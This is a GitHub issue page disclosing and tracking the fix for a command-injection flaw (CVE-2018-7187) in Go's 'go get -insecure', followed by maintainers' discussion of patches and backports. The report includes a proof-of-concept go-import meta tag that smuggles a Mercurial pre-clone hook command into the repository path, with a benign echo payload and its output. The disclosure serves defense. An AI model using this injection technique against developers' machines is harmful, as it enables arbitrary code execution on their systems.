Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

cmd/go: arbitrary command execution via VCS path #23867

Closed
Invizory opened this issue Feb 16, 2018 · 18 comments
Closed

cmd/go: arbitrary command execution via VCS path #23867

Invizory opened this issue Feb 16, 2018 · 18 comments
Labels
CherryPickApproved Used during the release process for point releases FrozenDueToAge Security
Milestone
Go1.10.1

Comments

@Invizory
Copy link
Contributor

Invizory commented Feb 16, 2018 •
edited

I contacted security@golang.org about this and was allowed to create a public issue.

This has been assigned CVE-2018-7187.

What version of Go are you using (go version)?

go version go1.9.4 linux/amd64 (earlier versions are also affected)

Does this issue reproduce with the latest release?

Yes.

What did you do?

The go get implementation, when the -insecure command-line option is used, does not validate the import path, which allows remote attackers to execute arbitrary OS commands via a crafted website.

For example, this command should execute echo hello $USER:

go get -insecure khashaev.ru/go-vuln

See https://khashaev.ru/go-vuln/index.html:

<meta name="go-import" content="khashaev.ru/go-vuln hg --config=hooks.pre-clone=echo${IFS}hello${IFS}$USER;echo${IFS}https://>/dev/null">

The proof of concept presented above is targeting Mercurial.

What did you expect to see?

package khashaev.ru/go-vuln: unrecognized import path "khashaev.ru/go-vuln"

What did you see instead?

hello inviz
abort: repository /home/inviz/go/src/khashaev.ru/go-vuln not found!
package khashaev.ru/go-vuln: exit status 255
@gopherbot
Copy link

Change https://golang.org/cl/94656 mentions this issue: cmd/go: fix command injection in VCS path

@bradfitz
Copy link
Contributor

@ianlancetaylor and I discussed this and we were thinking something like https://go-review.googlesource.com/c/go/+/94603 which is a little bit safer (in terms of not breaking people), compared to https://golang.org/cl/94656. Especially for so late in the Go 1.10 cycle.

@bradfitz bradfitz added the NeedsFix The path to resolution is known, but the work has not been done. label Feb 16, 2018
@bradfitz bradfitz added this to the Go1.10 milestone Feb 16, 2018
@andybons
Copy link
Member

@bradfitz @ianlancetaylor is this a release-blocker for Go1.10?

@gopherbot
Copy link

Change https://golang.org/cl/94603 mentions this issue: cmd/go: restrict meta imports to valid schemes

@ianlancetaylor
Copy link
Contributor

After thinking about a bit more I'm not sure that it is a release blocker for 1.10. As far as we can tell it is only insecure if you explicitly say go get -insecure. I'm not sure that calls for an immediate fix. I think it may be OK to fix this in 1.10.1.

@bradfitz ?

@ianlancetaylor
Copy link
Contributor

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

@bradfitz
Copy link
Contributor

SGTM on both of the previous two comments.

@Invizory
Copy link
Contributor Author

This has been assigned CVE-2018-7187.

@ianlancetaylor
Copy link
Contributor

I've submitted my CL, setting up to backport to 1.10.1 and 1.9.4. @Invizory unfortunately you'll need to rebase your CL and fix the merge conflicts, then we can get that in for 1.11. Thanks.

@mikioh
Copy link
Contributor

mikioh commented Feb 16, 2018

s/1.9.4/1.9.5/ ?

@ianlancetaylor
Copy link
Contributor

The issue is fixed for 1.11, reopening for a backport to 1.10.1.

@ianlancetaylor ianlancetaylor modified the milestones: Go1.10, Go1.10.1 Feb 17, 2018
@dmitshur
Copy link
Contributor

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

@ianlancetaylor What about golang.org/x/tools/go/vcs package? I can send a CL for it, but should we go with 94656 right away, or start with 94603 and apply 94656 later?

@ianlancetaylor
Copy link
Contributor

For golang.org/x we can use 94656 right away. Thanks.

@dmitshur dmitshur self-assigned this Feb 17, 2018
@gopherbot
Copy link

Change https://golang.org/cl/94899 mentions this issue: go/vcs: fix command injection in VCS path

@dmitshur
Copy link
Contributor

I've sent CL 94899 for golang.org/x.

@dmitshur dmitshur removed their assignment Feb 17, 2018
gopherbot pushed a commit to golang/tools that referenced this issue Feb 21, 2018
@dmitshur
go/vcs: fix command injection in VCS path
e8fdd20 
Apply same change as CL 94656 did for cmd/go/internal/get, but for
golang.org/x/tools/go/vcs, to help keep them in sync.

It indirectly includes changes from CL 94603, since CL 94656 was
rebased on top of CL 94603.

Updates golang/go#23867.
Helps golang/go#11490.

Change-Id: I33eca1aba19f47bbe3e83d4ef9f9cc9a9c9ae975
Reviewed-on: https://go-review.googlesource.com/94899
Reviewed-by: Ian Lance Taylor <iant@golang.org>
Run-TryBot: Ian Lance Taylor <iant@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
alindeman pushed a commit to alindeman/tools that referenced this issue Feb 23, 2018
@dmitshur @alindeman
go/vcs: fix command injection in VCS path
cb7740c 
Apply same change as CL 94656 did for cmd/go/internal/get, but for
golang.org/x/tools/go/vcs, to help keep them in sync.

It indirectly includes changes from CL 94603, since CL 94656 was
rebased on top of CL 94603.

Updates golang/go#23867.
Helps golang/go#11490.

Change-Id: I33eca1aba19f47bbe3e83d4ef9f9cc9a9c9ae975
Reviewed-on: https://go-review.googlesource.com/94899
Reviewed-by: Ian Lance Taylor <iant@golang.org>
Run-TryBot: Ian Lance Taylor <iant@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
@andybons andybons mentioned this issue Mar 27, 2018
Closed
@FiloSottile FiloSottile mentioned this issue Mar 27, 2018
Closed
@andybons andybons mentioned this issue Mar 27, 2018
Closed
@andybons
Copy link
Member

CL 94603 OK for Go 1.10.1

@andybons andybons added CherryPickApproved Used during the release process for point releases and removed NeedsFix The path to resolution is known, but the work has not been done. labels Mar 27, 2018
@gopherbot
Copy link

Change https://golang.org/cl/102776 mentions this issue: [release-branch.go1.9] cmd/go: restrict meta imports to valid schemes

@gopherbot
Copy link

Change https://golang.org/cl/102778 mentions this issue: [release-branch.go1.10] cmd/go: restrict meta imports to valid schemes

gopherbot pushed a commit that referenced this issue Mar 29, 2018
@ianlancetaylor @andybons
[release-branch.go1.9] cmd/go: restrict meta imports to valid schemes
15474dc 
Before this change, when using -insecure, we permitted any meta import
repo root as long as it contained "://". When not using -insecure, we
restrict meta import repo roots to be valid URLs. People may depend on
that somehow, so permit meta import repo roots to be invalid URLs, but
require them to have valid schemes per RFC 3986.

Fixes #23867

Change-Id: Iac666dfc75ac321bf8639dda5b0dba7c8840922d
Reviewed-on: https://go-review.googlesource.com/94603
Reviewed-by: Brad Fitzpatrick <bradfitz@golang.org>
Reviewed-on: https://go-review.googlesource.com/102776
Run-TryBot: Andrew Bonventre <andybons@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
Reviewed-by: Ian Lance Taylor <iant@golang.org>
gopherbot pushed a commit that referenced this issue Mar 29, 2018
@ianlancetaylor @andybons
[release-branch.go1.10] cmd/go: restrict meta imports to valid schemes
6936a87 
Before this change, when using -insecure, we permitted any meta import
repo root as long as it contained "://". When not using -insecure, we
restrict meta import repo roots to be valid URLs. People may depend on
that somehow, so permit meta import repo roots to be invalid URLs, but
require them to have valid schemes per RFC 3986.

Fixes #23867

Change-Id: Iac666dfc75ac321bf8639dda5b0dba7c8840922d
Reviewed-on: https://go-review.googlesource.com/94603
Reviewed-by: Brad Fitzpatrick <bradfitz@golang.org>
Reviewed-on: https://go-review.googlesource.com/102778
Run-TryBot: Andrew Bonventre <andybons@golang.org>
Reviewed-by: Ian Lance Taylor <iant@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
netbsd-srcmastr pushed a commit to NetBSD/pkgsrc that referenced this issue Mar 30, 2018
@bsiegert
Update Go to 1.10.1.
87f5ebf 
This fixes a security issue (golang/go#23867).
Also:
These releases include fixes to the compiler, runtime, go command, and the
archive/zip, crypto/tls, crypto/x509, encoding/json, net, net/http, and
net/http/pprof packages.

ok wiz@ for committing during freeze
@golang golang locked and limited conversation to collaborators Mar 29, 2019
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Assignees
No one assigned
Labels
CherryPickApproved Used during the release process for point releases FrozenDueToAge Security
Projects
None yet
Milestone
Go1.10.1
Development

No branches or pull requests
7 participants
@bradfitz @mikioh @andybons @Invizory @dmitshur @ianlancetaylor @gopherbot